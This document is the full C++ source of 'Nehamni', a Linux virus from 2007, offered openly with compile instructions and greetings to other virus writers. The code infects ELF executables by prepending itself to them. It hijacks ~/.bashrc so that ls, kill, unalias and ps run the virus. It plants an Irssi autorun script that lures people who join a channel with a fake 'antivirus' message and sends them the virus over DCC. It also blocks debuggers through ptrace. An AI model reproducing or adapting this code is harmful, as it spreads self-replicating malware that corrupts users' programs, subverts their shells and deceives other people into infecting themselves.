Linux.nehamni by free0n || Project Folder

/* 
* virus name: Nehamni (kneeeee ham knee)
* author: free0n
* date:05/28/2007
* site:http://free0n.host.sk || http://doomriderz.co.nr
* desc: linux prepender virus mixed bash alias hooking and irssi irc
*       client spreading. Only infects ELF files in the current directory
*       or the directory of where the alias is getting executed. Code is
*       pretty well documented. Tested on ubuntu 7.04 fiesty fawn.
* compile: g++ -O3 "nehamni" -o "nehamni"
* greetz: wargame,genetix,impurity,synge,
*         cyneox,hermit,retro,hutley,DiA,
*         berniee, izeee! napster, spth,
*         sabek, slage, SysBreaker, Retro,
*         MrAnderson, and anyone else i forgot
*         sry :)
*/

#include <iostream>
#include <sys/dir.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <elf.h>
#include <fcntl.h>

#define MAX_DIR_PATH 2048
#define NAME "nehamni"
#define SIZE 17586

using namespace std;

char *me;
char *myPath;
int mesize = 0;

//checks if a directory exists or not
bool DirectoryExists(char *dirpath) {
    struct stat fs = { 0 };
    if (stat(dirpath, &fs) == 0 && S_ISDIR(fs.st_mode)) {
        return true;
    }
    return false;
}

//Irssi irc client spreading
//works by checking if we have .irssi installed in the home folder
//then checks if there is a autorun directory. If there isn't then
//it's created an we drop a perl script file. Sort of like what we do
//with mirc on windows. Anyone that joins a channel the user is on
//will get a message and a dcc request.

void Irssi(char *irssi) {
    strcat(irssi,"/.irssi");
    if(DirectoryExists(irssi)) {
        strcat(irssi,"/scripts");
        if(!DirectoryExists(irssi)) {
            mkdir(irssi,0777);
            strcat(irssi,"/autorun");
            if(!DirectoryExists(irssi)) {
                mkdir(irssi,0777);
            }
        }
        strcat(irssi,"/nehamni.pl");
        FILE *irssistream;
        if((irssistream = fopen(irssi, "w+")) != (FILE *)0) {
            fprintf(irssistream,"use Irssi; \n");
            fprintf(irssistream,"use vars qw($VERSION %IRSSI);\n");
            fprintf(irssistream,"$VERSION = '0.69';\n");
            fprintf(irssistream,"%IRSSI = (\n");
            fprintf(irssistream,"name        => 'nehamni',\n");
            fprintf(irssistream,"authors     => 'free0n',\n");
            fprintf(irssistream,"contact     => 'phree0n@hotmail.com',\n");
            fprintf(irssistream,"url         => 'http://free0n.host.sk',\n");
            fprintf(irssistream,"license     => 'GPL',\n");
            fprintf(irssistream,"ldescription => 'nehamni protection script',\n");
            fprintf(irssistream,");\n");
            fprintf(irssistream,"sub nehamni {\n");
            fprintf(irssistream,"my($server, $data, $nick, $address) = @_;\n");
            fprintf(irssistream,"return if ($nick eq $server->{nick});\n");
            fprintf(irssistream,"$server->command(\"^MSG \" . $nick . \" hey \" . $nick . \" check out this irssi irc protection script, it even has antivirus for dcc transfers\"); \n");
            fprintf(irssistream,"$server->command(\"^DCC SEND \" . $nick . \" %s\");\n",me);
            fprintf(irssistream,"$server->command(\"^MSG \" . $nick . \" maybe i should make my own antivirus, it would be way better then the ones out there now :D\");\n");
            fprintf(irssistream,"}\n");
            fprintf(irssistream,"sub unloaded {\n");
            fprintf(irssistream,"printf(\"I do it for myself, not for you and not for others!\");\n");
            fprintf(irssistream,"}\n");
            fprintf(irssistream,"Irssi::command_bind nehamni => \\&unloaded; \n");
            fprintf(irssistream,"Irssi::signal_add('message join', 'nehamni');\n");
            fclose(irssistream);
        }
    }
}

void Profile() {
    //apend text to the .bashrc file
    //so we can alias programs that get used in bash shell
    //so for example if the user executes ls, then we call our virus
    //or user executes kill command then instead of launching kill we launch
    //the virus. We edit bashrc cause it gets executed each time a new shell
    //launches. This will also change the directory of infection, so whatever
    //directory that the command gets run in is the directory the virus will infect
    //in...
    string bashrc = (string)getenv("HOME") + "/.bashrc";
    int fb;
    if((fb = open(bashrc.c_str(),O_RDONLY)) != -1) {
        char buffw[8];
        struct stat statrc;
        stat(bashrc.c_str(), &statrc);
        lseek(fb,(statrc.st_size - (strlen(NAME)+1)), SEEK_SET);
        read(fb,&buffw,(strlen(NAME)+1));
        close(fb);
        if((strncmp (buffw,NAME,strlen(NAME))) != 0) {
            FILE *bashstream;
            if((bashstream = fopen(bashrc.c_str(), "at")) != (FILE *)0) {
                fprintf(bashstream,"alias ls='%s'\n",me);
                fprintf(bashstream,"alias kill='%s'\n",me);
                fprintf(bashstream,"alias unalias='%s'\n",me);
                fprintf(bashstream,"alias ps='%s'\n",me);
                fprintf(bashstream,"#%s ",NAME);
            }
            fclose(bashstream);
        }
    }
}

//is the fish! kidding elfish i know :D
bool IsElfish(char *hostFile) {
    Elf32_Ehdr elfHeader;
    int fd;
    if((fd = open(hostFile,O_RDONLY)) == -1)
    return false;
    
    read(fd,&elfHeader,sizeof(Elf32_Ehdr));
    close(fd);
    
    //check if it says ELF
    if(strncmp((const char *)&elfHeader.e_ident[1], "ELF",3) != 0)
    return false;
    
    //check if it's executable
    if(elfHeader.e_type != ET_EXEC)
    return false;
    
    return true;
}

bool IsInfected(char *chkfile) {
    int fd;
    if((fd = open(chkfile,O_RDONLY)) != -1) {
        char buf[7];
        struct stat statbuf;
        stat(chkfile, &statbuf);
        //seek to the end of the file where we would have our NAME
        lseek(fd, (statbuf.st_size - strlen(NAME)), SEEK_SET);
        read (fd,&buf,strlen(NAME));
        close(fd);
        
        //check to see if the marker was = to NAME(nehamni)
        if((strncmp (buf,NAME,strlen(NAME))) == 0) {
            return true;
        }
        //check to see if the name is nehamni
        if((strncmp (chkfile,NAME,strlen(NAME))) == 0) {
            return true;
        }
    }
    return false;
}

void Prepend(char *host) {
    
    FILE *fNehamni;
    FILE *fHost;
    FILE *fTmp;
    
    struct stat hstat;
    int vsize,hsize,mesize;
    char *vircode,*hcode;
    
    if(IsInfected(host) == false){
        if((fNehamni = fopen(me,"rb")) != NULL) {
            //read the virus code
            vsize = SIZE;
            vircode = (char*)malloc(vsize);
            fread(vircode,vsize,1,fNehamni);
            
            if((fTmp = fopen(host,"rb")) != NULL) {
                //read the file that we passed in, should be a host flie
                stat(host,&hstat);
                hsize = hstat.st_size;
                hcode = (char*)malloc(hsize);
                fread(hcode,1,hsize,fTmp);
                
                //overwrite the host file and write the virus,host,marker to
                //the file
                if((fHost = fopen(host,"wb")) != NULL) {
                    fwrite(vircode,vsize,1,fHost);
                    fwrite(hcode,hsize,1,fHost);
                    fwrite(NAME,strlen(NAME),1,fHost);
                    fclose(fHost);
                }
                fclose(fTmp);
                free(hcode);
            }
            fclose(fNehamni);
            free(vircode);
        }
    }
}

void InfectionSearch() {
    struct direct *directPtr;
    struct stat statBuf;
    DIR *dirPtr;
    char myDir[MAX_DIR_PATH+1];
    
    //get the current working directory (cwd)
    //if we can't get it then we exit
    if(!getcwd(myDir, MAX_DIR_PATH)) {
        return;
    }
    myPath = strcat(myDir,"/");
    dirPtr = opendir(myDir);
    if(!dirPtr) {
        return;
    }
    //loop through the directory
    while (directPtr = readdir(dirPtr))  {
        if (strcmp(directPtr->d_name,".") != 0 && strcmp(directPtr->d_name,"..") != 0)  {
            //check to see if the file is elf
            if(IsElfish(directPtr->d_name)) {
                Prepend(directPtr->d_name);
            }
        }
    }
}

int main(int argc, char *argv[]) {
    //pretty cool we can do antidebug this easily:)
    //although there are probably ways around it, it's still neat.
    if(ptrace(PTRACE_TRACEME, 0, NULL, NULL)) {
        printf("I have dreamed a dream, and my spirit was troubled to know the dream.");
        return 0;
    }
    
    //basic check to see how we are being called
    //if its running from shell as ./nehamni or as
    //a full path /home/blah/nehamni. If it's running
    //as ./nehamni then we correct it so its the full path
    //to the file.
    
    me = argv[0];
    string f = (string)me;
    int pathlen = strlen(me);
    if(pathlen > 2) {
        if(f.substr(0,2) == "./") {
            char cwd[MAX_DIR_PATH+1];
            if(getcwd(cwd, MAX_DIR_PATH)) {
                strcat(cwd,"/");
                strcat(cwd,f.substr(2).c_str());
                me = cwd;
            }
        }
    }
    //start the file infection search.
    InfectionSearch();
    
    //call our bashrc profile function
    Profile();
    
    //launch irssi spreading
    Irssi(getenv("HOME"));
    
    //check to see if we are running as an infected file
    struct stat virstat;
    stat(me,&virstat);
    mesize = virstat.st_size;
    
    int size = (mesize) - SIZE;
    if(size > 0) {
        FILE *fTmpHost;
        FILE *fTmpHostWrite;
        char *hostTmp;
        int hostTmpSize = (mesize - (SIZE + sizeof(NAME))) + 1;
        if(hostTmpSize > 0) {
            if((fTmpHost = fopen(me,"rb")) != NULL) {
                hostTmp = (char*)malloc(hostTmpSize);
                fseek(fTmpHost,SIZE,SEEK_SET);
                fread(hostTmp,hostTmpSize,1,fTmpHost);
                strcat(me,"tmp");
                if((fTmpHostWrite = fopen(me,"wb")) != NULL) {
                    fwrite(hostTmp,hostTmpSize,1,fTmpHostWrite);
                    fclose(fTmpHostWrite);
                    chmod(me,virstat.st_mode);
                    system(me);
                    remove(me);
                }
                fclose(fTmpHost);
                free(hostTmp);
            }
        }
    }
    return 0;
}